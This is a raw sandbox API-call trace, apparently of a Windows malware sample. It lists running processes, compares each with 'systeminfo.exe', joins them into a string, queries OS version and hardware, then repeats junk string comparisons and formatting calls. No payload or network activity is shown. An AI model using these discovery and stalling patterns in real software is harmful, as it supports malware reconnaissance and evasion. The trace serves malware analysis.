lpString2="cookie_cumulative_bennett_horse.exe" | out: lpString1="cookie_cumulative_bennett_horse.exe") returned="cookie_cumulative_bennett_horse.exe" [0071.025] lstrlenW (lpString="cookie_cumulative_bennett_horse.exe") returned 35 [0071.025] lstrcmpiW (lpString1="canvas.exe", lpString2="systeminfo.exe") returned -1 [0071.026] lstrcpyW (in: lpString1=0x406284, lpString2="canvas.exe" | out: lpString1="canvas.exe") returned="canvas.exe" [0071.026] lstrlenW (lpString="canvas.exe") returned 10 [0071.026] lstrcmpiW (lpString1="cliff-filter.exe", lpString2="systeminfo.exe") returned -1 [0071.026] lstrcpyW (in: lpString1=0x40629a, lpString2="cliff-filter.exe" | out: lpString1="cliff-filter.exe") returned="cliff-filter.exe" [0071.026] lstrlenW (lpString="cliff-filter.exe") returned 16 [0071.026] lstrcmpiW (lpString1="routing.exe", lpString2="systeminfo.exe") returned -1 [0071.026] lstrcpyW (in: lpString1=0x4062bc, lpString2="routing.exe" | out: lpString1="routing.exe") returned="routing.exe" [0071.026] lstrlenW (lpString="routing.exe") returned 11 [0071.026] lstrcmpiW (lpString1="ausarrivedrepresentative.exe", lpString2="systeminfo.exe") returned -1 [0071.026] lstrcpyW (in: lpString1=0x4062d4, lpString2="ausarrivedrepresentative.exe" | out: lpString1="ausarrivedrepresentative.exe") returned="ausarrivedrepresentative.exe" [0071.026] lstrlenW (lpString="ausarrivedrepresentative.exe") returned 28 [0071.026] lstrcmpiW (lpString1="characters appointed birthday finally.exe", lpString2="systeminfo.exe") returned -1 [0071.026] lstrcpyW (in: lpString1=0x40630e, lpString2="characters appointed birthday finally.exe" | out: lpString1="characters appointed birthday finally.exe") returned="characters appointed birthday finally.exe" [0071.026] lstrlenW (lpString="characters appointed birthday finally.exe") returned 41 [0071.026] lstrcmpiW (lpString1="thumbnailsopen.exe", lpString2="systeminfo.exe") returned 1 [0071.026] lstrcpyW (in: lpString1=0x406362, lpString2="thumbnailsopen.exe" | out: lpString1="thumbnailsopen.exe") returned="thumbnailsopen.exe" [0071.026] lstrlenW (lpString="thumbnailsopen.exe") returned 18 [0071.026] lstrcmpiW (lpString1="ones_pork_tommy_lb.exe", lpString2="systeminfo.exe") returned -1 [0071.026] lstrcpyW (in: lpString1=0x406388, lpString2="ones_pork_tommy_lb.exe" | out: lpString1="ones_pork_tommy_lb.exe") returned="ones_pork_tommy_lb.exe" [0071.026] lstrlenW (lpString="ones_pork_tommy_lb.exe") returned 22 [0071.026] lstrcmpiW (lpString1="farehave.exe", lpString2="systeminfo.exe") returned -1 [0071.026] lstrcpyW (in: lpString1=0x4063b6, lpString2="farehave.exe" | out: lpString1="farehave.exe") returned="farehave.exe" [0071.026] lstrlenW (lpString="farehave.exe") returned 12 [0071.026] lstrcmpiW (lpString1="los-talks-ooo-focusing.exe", lpString2="systeminfo.exe") returned -1 [0071.026] lstrcpyW (in: lpString1=0x4063d0, lpString2="los-talks-ooo-focusing.exe" | out: lpString1="los-talks-ooo-focusing.exe") returned="los-talks-ooo-focusing.exe" [0071.026] lstrlenW (lpString="los-talks-ooo-focusing.exe") returned 26 [0071.026] lstrcmpiW (lpString1="efforts-extreme-quantity-reproductive.exe", lpString2="systeminfo.exe") returned -1 [0071.026] lstrcpyW (in: lpString1=0x406406, lpString2="efforts-extreme-quantity-reproductive.exe" | out: lpString1="efforts-extreme-quantity-reproductive.exe") returned="efforts-extreme-quantity-reproductive.exe" [0071.026] lstrlenW (lpString="efforts-extreme-quantity-reproductive.exe") returned 41 [0071.026] lstrcmpiW (lpString1="turner_construction_solve_cialis.exe", lpString2="systeminfo.exe") returned 1 [0071.026] lstrcpyW (in: lpString1=0x40645a, lpString2="turner_construction_solve_cialis.exe" | out: lpString1="turner_construction_solve_cialis.exe") returned="turner_construction_solve_cialis.exe" [0071.026] lstrlenW (lpString="turner_construction_solve_cialis.exe") returned 36 [0071.026] lstrcmpiW (lpString1="WmiPrvSE.exe", lpString2="systeminfo.exe") returned 1 [0071.026] lstrcpyW (in: lpString1=0x4064a4, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0071.026] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0071.026] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="systeminfo.exe") returned -1 [0071.026] lstrcpyW (in: lpString1=0x4064be, lpString2="ONENOTEM.EXE" | out: lpString1="ONENOTEM.EXE") returned="ONENOTEM.EXE" [0071.026] lstrlenW (lpString="ONENOTEM.EXE") returned 12 [0071.026] lstrcmpiW (lpString1="taskeng.exe", lpString2="systeminfo.exe") returned 1 [0071.026] lstrcpyW (in: lpString1=0x4064d8, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0071.026] lstrlenW (lpString="taskeng.exe") returned 11 [0071.026] lstrcmpiW (lpString1="explorer.exe", lpString2="systeminfo.exe") returned -1 [0071.026] lstrcpyW (in: lpString1=0x4064f0, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0071.026] lstrlenW (lpString="explorer.exe") returned 12 [0071.026] lstrcmpiW (lpString1="dwm.exe", lpString2="systeminfo.exe") returned -1 [0071.026] lstrcpyW (in: lpString1=0x40650a, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0071.026] lstrlenW (lpString="dwm.exe") returned 7 [0071.026] lstrcmpiW (lpString1="taskhost.exe", lpString2="systeminfo.exe") returned 1 [0071.026] lstrcpyW (in: lpString1=0x40651a, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0071.026] lstrlenW (lpString="taskhost.exe") returned 12 [0071.026] lstrcmpiW (lpString1="OfficeClickToRun.exe", lpString2="systeminfo.exe") returned -1 [0071.026] lstrcpyW (in: lpString1=0x406534, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0071.026] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0071.026] lstrcmpiW (lpString1="spoolsv.exe", lpString2="systeminfo.exe") returned -1 [0071.027] lstrcpyW (in: lpString1=0x40655e, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0071.027] lstrlenW (lpString="spoolsv.exe") returned 11 [0071.027] lstrcmpiW (lpString1="audiodg.exe", lpString2="systeminfo.exe") returned -1 [0071.027] lstrcpyW (in: lpString1=0x406576, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0071.027] lstrlenW (lpString="audiodg.exe") returned 11 [0071.027] lstrcmpiW (lpString1="svchost.exe", lpString2="systeminfo.exe") returned -1 [0071.027] lstrcpyW (in: lpString1=0x40658e, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0071.027] lstrlenW (lpString="svchost.exe") returned 11 [0071.027] lstrcmpiW (lpString1="lsm.exe", lpString2="systeminfo.exe") returned -1 [0071.027] lstrcpyW (in: lpString1=0x4065a6, lpString2="lsm.exe" | out: lpString1="lsm.exe") returned="lsm.exe" [0071.027] lstrlenW (lpString="lsm.exe") returned 7 [0071.027] lstrcmpiW (lpString1="lsass.exe", lpString2="systeminfo.exe") returned -1 [0071.027] lstrcpyW (in: lpString1=0x4065b6, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0071.027] lstrlenW (lpString="lsass.exe") returned 9 [0071.027] lstrcmpiW (lpString1="services.exe", lpString2="systeminfo.exe") returned -1 [0071.027] lstrcpyW (in: lpString1=0x4065ca, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0071.027] lstrlenW (lpString="services.exe") returned 12 [0071.027] lstrcmpiW (lpString1="winlogon.exe", lpString2="systeminfo.exe") returned 1 [0071.027] lstrcpyW (in: lpString1=0x4065e4, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0071.027] lstrlenW (lpString="winlogon.exe") returned 12 [0071.027] lstrcmpiW (lpString1="wininit.exe", lpString2="systeminfo.exe") returned 1 [0071.027] lstrcpyW (in: lpString1=0x4065fe, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0071.027] lstrlenW (lpString="wininit.exe") returned 11 [0071.027] lstrcmpiW (lpString1="csrss.exe", lpString2="systeminfo.exe") returned -1 [0071.027] lstrcpyW (in: lpString1=0x406616, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0071.027] lstrlenW (lpString="csrss.exe") returned 9 [0071.027] lstrcmpiW (lpString1="smss.exe", lpString2="systeminfo.exe") returned -1 [0071.027] lstrcpyW (in: lpString1=0x40662a, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0071.027] lstrlenW (lpString="smss.exe") returned 8 [0071.027] lstrcmpiW (lpString1="System", lpString2="systeminfo.exe") returned -1 [0071.027] lstrcpyW (in: lpString1=0x40663c, lpString2="System" | out: lpString1="System") returned="System" [0071.027] lstrlenW (lpString="System") returned 6 [0071.027] lstrcmpiW (lpString1="[System Process]", lpString2="systeminfo.exe") returned -1 [0071.027] lstrcpyW (in: lpString1=0x40664a, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0071.027] lstrlenW (lpString="[System Process]") returned 16 [0071.027] GetCurrentProcessId () returned 0x81c [0071.027] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sppsvc.exe,OSPPSVC.EXE,WINWORD.EXE,manufacturer-asset.exe,analysts-dose.exe,multimedia-channel-letter-standards.exe,eaglesfilterscrimes.exe,dimensionalsubscriptions.exe,literally.exe,instrumentationendorsementcivilizationcommentary.exe,later_pet_handjobs.exe,diamond_hospitals_designs_www.exe,pagespresent.exe,located-purple-team.exe,pie.exe,cookie_cumulative_bennett_horse.exe,canvas.exe,cliff-filter.exe,routing.exe,ausarrivedrepresentative.exe,characters appointed birthday finally.exe,thumbnailsopen.exe,ones_pork_tommy_lb.exe,farehave.exe,los-talks-ooo-focusing.exe,efforts-extreme-quantity-reproductive.exe,turner_construction_solve_cialis.exe,WmiPrvSE.exe,ONENOTEM.EXE,taskeng.exe,explorer.exe,dwm.exe,taskhost.exe,OfficeClickToRun.exe,spoolsv.exe,audiodg.exe,svchost.exe,lsm.exe,lsass.exe,services.exe,winlogon.exe,wininit.exe,csrss.exe,smss.exe,System,[System Process],", cchWideChar=878, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 878 [0071.027] lstrlenA (lpString="just string") returned 11 [0071.027] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.027] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sppsvc.exe,OSPPSVC.EXE,WINWORD.EXE,manufacturer-asset.exe,analysts-dose.exe,multimedia-channel-letter-standards.exe,eaglesfilterscrimes.exe,dimensionalsubscriptions.exe,literally.exe,instrumentationendorsementcivilizationcommentary.exe,later_pet_handjobs.exe,diamond_hospitals_designs_www.exe,pagespresent.exe,located-purple-team.exe,pie.exe,cookie_cumulative_bennett_horse.exe,canvas.exe,cliff-filter.exe,routing.exe,ausarrivedrepresentative.exe,characters appointed birthday finally.exe,thumbnailsopen.exe,ones_pork_tommy_lb.exe,farehave.exe,los-talks-ooo-focusing.exe,efforts-extreme-quantity-reproductive.exe,turner_construction_solve_cialis.exe,WmiPrvSE.exe,ONENOTEM.EXE,taskeng.exe,explorer.exe,dwm.exe,taskhost.exe,OfficeClickToRun.exe,spoolsv.exe,audiodg.exe,svchost.exe,lsm.exe,lsass.exe,services.exe,winlogon.exe,wininit.exe,csrss.exe,smss.exe,System,[System Process],", cchWideChar=878, lpMultiByteStr=0x3d1de8, cbMultiByte=878, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sppsvc.exe,OSPPSVC.EXE,WINWORD.EXE,manufacturer-asset.exe,analysts-dose.exe,multimedia-channel-letter-standards.exe,eaglesfilterscrimes.exe,dimensionalsubscriptions.exe,literally.exe,instrumentationendorsementcivilizationcommentary.exe,later_pet_handjobs.exe,diamond_hospitals_designs_www.exe,pagespresent.exe,located-purple-team.exe,pie.exe,cookie_cumulative_bennett_horse.exe,canvas.exe,cliff-filter.exe,routing.exe,ausarrivedrepresentative.exe,characters appointed birthday finally.exe,thumbnailsopen.exe,ones_pork_tommy_lb.exe,farehave.exe,los-talks-ooo-focusing.exe,efforts-extreme-quantity-reproductive.exe,turner_construction_solve_cialis.exe,WmiPrvSE.exe,ONENOTEM.EXE,taskeng.exe,explorer.exe,dwm.exe,taskhost.exe,OfficeClickToRun.exe,spoolsv.exe,audiodg.exe,svchost.exe,lsm.exe,lsass.exe,services.exe,winlogon.exe,wininit.exe,csrss.exe,smss.exe,System,[System Process],ess],", lpUsedDefaultChar=0x0) returned 878 [0071.027] GetLastError () returned 0x12 [0071.027] RtlGetVersion (in: lpVersionInformation=0x2f1fbd0 | out: lpVersionInformation=0x2f1fbd0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 0x0 [0071.027] GetNativeSystemInfo (in: lpSystemInfo=0x2f1fcec | out: lpSystemInfo=0x2f1fcec*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0x3, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0071.027] lstrlenA (lpString="YKYD69Q_705BA84C") returned 16 [0071.027] GetLastError () returned 0x12 [0071.027] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.028] SetLastError (dwErrCode=0x12) [0071.028] GetCurrentProcess () returned 0xffffffff [0071.028] GetLastError () returned 0x12 [0071.028] wsprintfA (in: param_1=0x2f1fc8b, param_2="%X%P" | out: param_1="6F01CAP") returned 7 [0071.028] SetLastError (dwErrCode=0x12) [0071.028] GetCurrentProcessId () returned 0x81c [0071.028] GetCurrentProcess () returned 0xffffffff [0071.028] GetLastError () returned 0x12 [0071.028] wsprintfA (in: param_1=0x2f1fc8b, param_2="%X%P" | out: param_1="6F01CBP") returned 7 [0071.028] SetLastError (dwErrCode=0x12) [0071.028] GetCurrentProcessId () returned 0x81c [0071.028] GetLastError () returned 0x12 [0071.028] wsprintfA (in: param_1=0x2f1fc8b, param_2="%X%P" | out: param_1="6F01CCP") returned 7 [0071.028] SetLastError (dwErrCode=0x12) [0071.028] GetCurrentProcessId () returned 0x81c [0071.028] GetCurrentProcessId () returned 0x81c [0071.028] GetCurrentProcessId () returned 0x81c [0071.028] GetCurrentProcessId () returned 0x81c [0071.028] lstrlenA (lpString="just string") returned 11 [0071.028] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.028] GetLastError () returned 0x12 [0071.028] GetLastError () returned 0x12 [0071.028] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.028] SetLastError (dwErrCode=0x12) [0071.028] GetCurrentProcess () returned 0xffffffff [0071.028] GetLastError () returned 0x12 [0071.028] wsprintfA (in: param_1=0x2f1fb87, param_2="%X%P" | out: param_1="6F0210P") returned 7 [0071.028] SetLastError (dwErrCode=0x12) [0071.028] GetCurrentProcessId () returned 0x81c [0071.028] GetCurrentProcess () returned 0xffffffff [0071.028] GetLastError () returned 0x12 [0071.028] wsprintfA (in: param_1=0x2f1fb3f, param_2="%X%P" | out: param_1="6F0211P") returned 7 [0071.028] SetLastError (dwErrCode=0x12) [0071.028] GetCurrentProcessId () returned 0x81c [0071.028] GetLastError () returned 0x12 [0071.028] wsprintfA (in: param_1=0x2f1fb27, param_2="%X%P" | out: param_1="6F0212P") returned 7 [0071.028] SetLastError (dwErrCode=0x12) [0071.028] GetCurrentProcessId () returned 0x81c [0071.028] GetCurrentProcessId () returned 0x81c [0071.028] GetCurrentProcessId () returned 0x81c [0071.028] GetCurrentProcessId () returned 0x81c [0071.028] lstrlenA (lpString="just string") returned 11 [0071.028] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.028] GetLastError () returned 0x12 [0071.028] GetLastError () returned 0x12 [0071.028] GetLastError () returned 0x12 [0071.028] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F024EP") returned 7 [0071.029] SetLastError (dwErrCode=0x12) [0071.029] GetCurrentProcessId () returned 0x81c [0071.029] GetCurrentProcessId () returned 0x81c [0071.029] GetCurrentProcessId () returned 0x81c [0071.029] GetCurrentProcessId () returned 0x81c [0071.029] lstrlenA (lpString="just string") returned 11 [0071.029] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.029] GetLastError () returned 0x12 [0071.029] GetLastError () returned 0x12 [0071.029] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.029] SetLastError (dwErrCode=0x12) [0071.029] GetCurrentProcess () returned 0xffffffff [0071.029] GetLastError () returned 0x12 [0071.029] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F027EP") returned 7 [0071.029] SetLastError (dwErrCode=0x12) [0071.029] GetCurrentProcessId () returned 0x81c [0071.029] GetCurrentProcess () returned 0xffffffff [0071.029] GetLastError () returned 0x12 [0071.029] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F027FP") returned 7 [0071.029] SetLastError (dwErrCode=0x12) [0071.029] GetCurrentProcessId () returned 0x81c [0071.029] GetLastError () returned 0x12 [0071.029] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0280P") returned 7 [0071.029] SetLastError (dwErrCode=0x12) [0071.029] GetCurrentProcessId () returned 0x81c [0071.029] GetCurrentProcessId () returned 0x81c [0071.029] GetCurrentProcessId () returned 0x81c [0071.029] GetCurrentProcessId () returned 0x81c [0071.029] lstrlenA (lpString="just string") returned 11 [0071.029] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.029] GetLastError () returned 0x12 [0071.029] GetCurrentProcess () returned 0xffffffff [0071.029] GetLastError () returned 0x12 [0071.029] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F02A7P") returned 7 [0071.029] SetLastError (dwErrCode=0x12) [0071.029] GetCurrentProcessId () returned 0x81c [0071.029] GetLastError () returned 0x12 [0071.029] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F02A8P") returned 7 [0071.029] SetLastError (dwErrCode=0x12) [0071.029] GetCurrentProcessId () returned 0x81c [0071.029] GetCurrentProcessId () returned 0x81c [0071.029] GetCurrentProcessId () returned 0x81c [0071.029] GetCurrentProcessId () returned 0x81c [0071.029] lstrlenA (lpString="just string") returned 11 [0071.029] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.029] GetLastError () returned 0x12 [0071.029] lstrlenA (lpString="just string") returned 11 [0071.029] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.029] GetLastError () returned 0x12 [0071.029] GetCurrentProcess () returned 0xffffffff [0071.029] GetLastError () returned 0x12 [0071.029] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F02E3P") returned 7 [0071.029] SetLastError (dwErrCode=0x12) [0071.029] GetCurrentProcessId () returned 0x81c [0071.029] GetLastError () returned 0x12 [0071.029] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F02E4P") returned 7 [0071.029] SetLastError (dwErrCode=0x12) [0071.029] GetCurrentProcessId () returned 0x81c [0071.029] GetCurrentProcessId () returned 0x81c [0071.029] GetCurrentProcessId () returned 0x81c [0071.029] GetCurrentProcessId () returned 0x81c [0071.029] lstrlenA (lpString="just string") returned 11 [0071.030] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.030] GetLastError () returned 0x12 [0071.030] GetCurrentProcess () returned 0xffffffff [0071.030] GetLastError () returned 0x12 [0071.030] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0329P") returned 7 [0071.030] SetLastError (dwErrCode=0x12) [0071.030] GetCurrentProcessId () returned 0x81c [0071.030] GetLastError () returned 0x12 [0071.030] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F032AP") returned 7 [0071.030] SetLastError (dwErrCode=0x12) [0071.030] GetCurrentProcessId () returned 0x81c [0071.030] GetCurrentProcessId () returned 0x81c [0071.030] GetCurrentProcessId () returned 0x81c [0071.030] GetCurrentProcessId () returned 0x81c [0071.030] lstrlenA (lpString="just string") returned 11 [0071.030] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.030] GetLastError () returned 0x12 [0071.030] GetLastError () returned 0x12 [0071.030] GetLastError () returned 0x12 [0071.030] GetCurrentProcess () returned 0xffffffff [0071.030] GetLastError () returned 0x12 [0071.030] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0397P") returned 7 [0071.030] SetLastError (dwErrCode=0x12) [0071.030] GetCurrentProcessId () returned 0x81c [0071.030] GetLastError () returned 0x12 [0071.030] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0398P") returned 7 [0071.030] SetLastError (dwErrCode=0x12) [0071.030] GetCurrentProcessId () returned 0x81c [0071.030] GetCurrentProcessId () returned 0x81c [0071.030] GetCurrentProcessId () returned 0x81c [0071.030] GetCurrentProcessId () returned 0x81c [0071.030] lstrlenA (lpString="just string") returned 11 [0071.030] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.030] GetLastError () returned 0x12 [0071.030] GetLastError () returned 0x12 [0071.030] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.030] SetLastError (dwErrCode=0x12) [0071.030] GetCurrentProcess () returned 0xffffffff [0071.030] GetLastError () returned 0x12 [0071.030] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F03D2P") returned 7 [0071.030] SetLastError (dwErrCode=0x12) [0071.030] GetCurrentProcessId () returned 0x81c [0071.030] GetCurrentProcess () returned 0xffffffff [0071.030] GetLastError () returned 0x12 [0071.030] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F03D3P") returned 7 [0071.030] SetLastError (dwErrCode=0x12) [0071.030] GetCurrentProcessId () returned 0x81c [0071.030] GetLastError () returned 0x12 [0071.030] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F03D4P") returned 7 [0071.030] SetLastError (dwErrCode=0x12) [0071.030] GetCurrentProcessId () returned 0x81c [0071.030] GetCurrentProcessId () returned 0x81c [0071.030] GetCurrentProcessId () returned 0x81c [0071.030] GetCurrentProcessId () returned 0x81c [0071.030] lstrlenA (lpString="just string") returned 11 [0071.030] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.030] GetLastError () returned 0x12 [0071.030] GetCurrentProcessId () returned 0x81c [0071.030] GetCurrentProcessId () returned 0x81c [0071.030] lstrlenA (lpString="just string") returned 11 [0071.030] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.030] GetLastError () returned 0x12 [0071.030] lstrlenA (lpString="just string") returned 11 [0071.031] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.031] GetLastError () returned 0x12 [0071.031] GetCurrentProcessId () returned 0x81c [0071.031] lstrlenA (lpString="just string") returned 11 [0071.031] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.031] GetLastError () returned 0x12 [0071.031] lstrlenA (lpString="just string") returned 11 [0071.031] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.031] GetLastError () returned 0x12 [0071.031] GetLastError () returned 0x12 [0071.031] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.031] SetLastError (dwErrCode=0x12) [0071.031] GetCurrentProcess () returned 0xffffffff [0071.031] GetLastError () returned 0x12 [0071.031] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F04CCP") returned 7 [0071.031] SetLastError (dwErrCode=0x12) [0071.031] GetCurrentProcessId () returned 0x81c [0071.031] GetCurrentProcess () returned 0xffffffff [0071.031] GetLastError () returned 0x12 [0071.031] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F04CDP") returned 7 [0071.031] SetLastError (dwErrCode=0x12) [0071.031] GetCurrentProcessId () returned 0x81c [0071.031] GetLastError () returned 0x12 [0071.031] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F04CEP") returned 7 [0071.031] SetLastError (dwErrCode=0x12) [0071.031] GetCurrentProcessId () returned 0x81c [0071.031] GetCurrentProcessId () returned 0x81c [0071.031] GetCurrentProcessId () returned 0x81c [0071.031] GetCurrentProcessId () returned 0x81c [0071.031] lstrlenA (lpString="just string") returned 11 [0071.031] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.031] GetLastError () returned 0x12 [0071.031] GetLastError () returned 0x12 [0071.031] GetCurrentProcessId () returned 0x81c [0071.031] GetCurrentProcessId () returned 0x81c [0071.031] lstrlenA (lpString="just string") returned 11 [0071.031] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.031] GetLastError () returned 0x12 [0071.031] GetCurrentProcess () returned 0xffffffff [0071.031] GetLastError () returned 0x12 [0071.031] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F054FP") returned 7 [0071.031] SetLastError (dwErrCode=0x12) [0071.031] GetCurrentProcessId () returned 0x81c [0071.031] GetLastError () returned 0x12 [0071.031] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0550P") returned 7 [0071.031] SetLastError (dwErrCode=0x12) [0071.031] GetCurrentProcessId () returned 0x81c [0071.031] GetCurrentProcessId () returned 0x81c [0071.031] GetCurrentProcessId () returned 0x81c [0071.031] GetCurrentProcessId () returned 0x81c [0071.031] lstrlenA (lpString="just string") returned 11 [0071.031] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.031] GetLastError () returned 0x12 [0071.031] GetCurrentProcessId () returned 0x81c [0071.031] GetCurrentProcessId () returned 0x81c [0071.031] GetCurrentProcessId () returned 0x81c [0071.031] lstrlenA (lpString="just string") returned 11 [0071.031] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.031] GetLastError () returned 0x12 [0071.031] GetCurrentProcessId () returned 0x81c [0071.031] lstrlenA (lpString="just string") returned 11 [0071.031] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.032] GetLastError () returned 0x12 [0071.032] GetCurrentProcess () returned 0xffffffff [0071.032] GetLastError () returned 0x12 [0071.032] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F060DP") returned 7 [0071.032] SetLastError (dwErrCode=0x12) [0071.032] GetCurrentProcessId () returned 0x81c [0071.032] GetLastError () returned 0x12 [0071.032] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F060EP") returned 7 [0071.032] SetLastError (dwErrCode=0x12) [0071.032] GetCurrentProcessId () returned 0x81c [0071.032] GetCurrentProcessId () returned 0x81c [0071.032] GetCurrentProcessId () returned 0x81c [0071.032] GetCurrentProcessId () returned 0x81c [0071.032] lstrlenA (lpString="just string") returned 11 [0071.032] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.032] GetLastError () returned 0x12 [0071.032] GetCurrentProcessId () returned 0x81c [0071.032] GetCurrentProcessId () returned 0x81c [0071.032] lstrlenA (lpString="just string") returned 11 [0071.032] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.032] GetLastError () returned 0x12 [0071.032] GetLastError () returned 0x12 [0071.032] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.032] SetLastError (dwErrCode=0x12) [0071.032] GetCurrentProcess () returned 0xffffffff [0071.032] GetLastError () returned 0x12 [0071.032] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0666P") returned 7 [0071.032] SetLastError (dwErrCode=0x12) [0071.032] GetCurrentProcessId () returned 0x81c [0071.032] GetCurrentProcess () returned 0xffffffff [0071.032] GetLastError () returned 0x12 [0071.032] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0667P") returned 7 [0071.032] SetLastError (dwErrCode=0x12) [0071.032] GetCurrentProcessId () returned 0x81c [0071.032] GetLastError () returned 0x12 [0071.032] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0668P") returned 7 [0071.032] SetLastError (dwErrCode=0x12) [0071.032] GetCurrentProcessId () returned 0x81c [0071.032] GetCurrentProcessId () returned 0x81c [0071.032] GetCurrentProcessId () returned 0x81c [0071.032] GetCurrentProcessId () returned 0x81c [0071.032] lstrlenA (lpString="just string") returned 11 [0071.032] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.032] GetLastError () returned 0x12 [0071.032] GetLastError () returned 0x12 [0071.032] GetCurrentProcessId () returned 0x81c [0071.032] GetCurrentProcessId () returned 0x81c [0071.032] lstrlenA (lpString="just string") returned 11 [0071.032] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.032] GetLastError () returned 0x12 [0071.032] GetCurrentProcessId () returned 0x81c [0071.032] GetCurrentProcessId () returned 0x81c [0071.032] GetCurrentProcessId () returned 0x81c [0071.032] lstrlenA (lpString="just string") returned 11 [0071.032] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.032] GetLastError () returned 0x12 [0071.032] GetLastError () returned 0x12 [0071.032] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F073AP") returned 7 